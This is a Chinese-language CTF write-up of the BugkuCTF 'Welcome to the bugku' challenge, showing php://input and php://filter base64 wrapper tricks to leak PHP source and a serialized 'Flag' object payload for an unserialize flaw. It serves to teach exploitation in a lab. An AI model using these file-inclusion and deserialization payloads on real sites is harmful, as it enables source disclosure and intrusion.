BugkuCTF中套路满满的题-------Welcome to the bugku

这套题目主要涉及到的知识是php伪协议,若是不了解这个的话,这道题目基本就out了。。。

当然,不了解的小伙伴,可以到这位大佬的博客去瞅瞅https://www.freebuf.com/column/148886.html

其实总结之后,最常所用到的不过是php://input(将文件的内容读出)以及php://filter/read=convert.base64-encode/resource=xxx.php(将源文件的内容以编码base64的形式读取出)

开始解题:

1.F12查看它的页面元素信息,可以发现一段代码

  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!
"; include($file); //hint.php }else{ echo "you are not admin ! "; }

分析代码:

1)有三个参数,txt,file,password(给出来的肯定都有用,但现在看能用得上的只有 txt 和 file)

2)isset($user) 说明传入的参数 txt 不能为空

3)file_get_contents($user,'r')==="welcome to the bugkuctf") 说明user在一个文件里,并且他的值恒为“welcome to the bugkuctf”

4)hint.php和include($file) 可说明$file在hint.php里 

分析完之后便可以实践操作:

解决1)2)3):

首先,输入网址:http://123.206.87.240:8006/test1/index.php?txt=php://input

然后,使用burpsuit先抓一个包,并传入一个POST值,即:

BugkuCTF中套路满满的题-------Welcome to the bugku_第1张图片

解决4)

最后,读出hint.php里的源文件

 

BugkuCTF中套路满满的题-------Welcome to the bugku_第2张图片

解码base64得到:

file)){  
            echo file_get_contents($this->file); 
			echo "
"; return ("good"); } } } ?>

 

通读下来,发现有个Flag.php,不难猜出flag在这里面但是,往下读可发现,没有什么我们可以利用的,这个只是Flag.php里面的一个类

所以我们还需要找到其他可利用的资源,一开始在index.php文件里既然有三个参数,但只给了两个可利用的,说明还有代码没显示出来,所以:

 

BugkuCTF中套路满满的题-------Welcome to the bugku_第3张图片

解码base64得:

";  
    if(preg_match("/flag/",$file)){ 
		echo "ä¸è½ç°å¨å°±ç»ä½ flagå¦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
  
?>  
  
     

有两段,一段是之前的,另一段才是我们所要的,再一次分析的:

1)preg_match("/flag/",$file) 正则过滤file参数得flag值

2)unserialize($password)   使用反序列化pasword

由以上分析可得,flag就在flag.php中,但是他又是由file传入的,而file参数被正则过滤了,所以能用的就只有被反序列化的password

即password的参数为:

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

即:

BugkuCTF中套路满满的题-------Welcome to the bugku_第4张图片

综上所述,完结   :)

你可能感兴趣的:(ctf)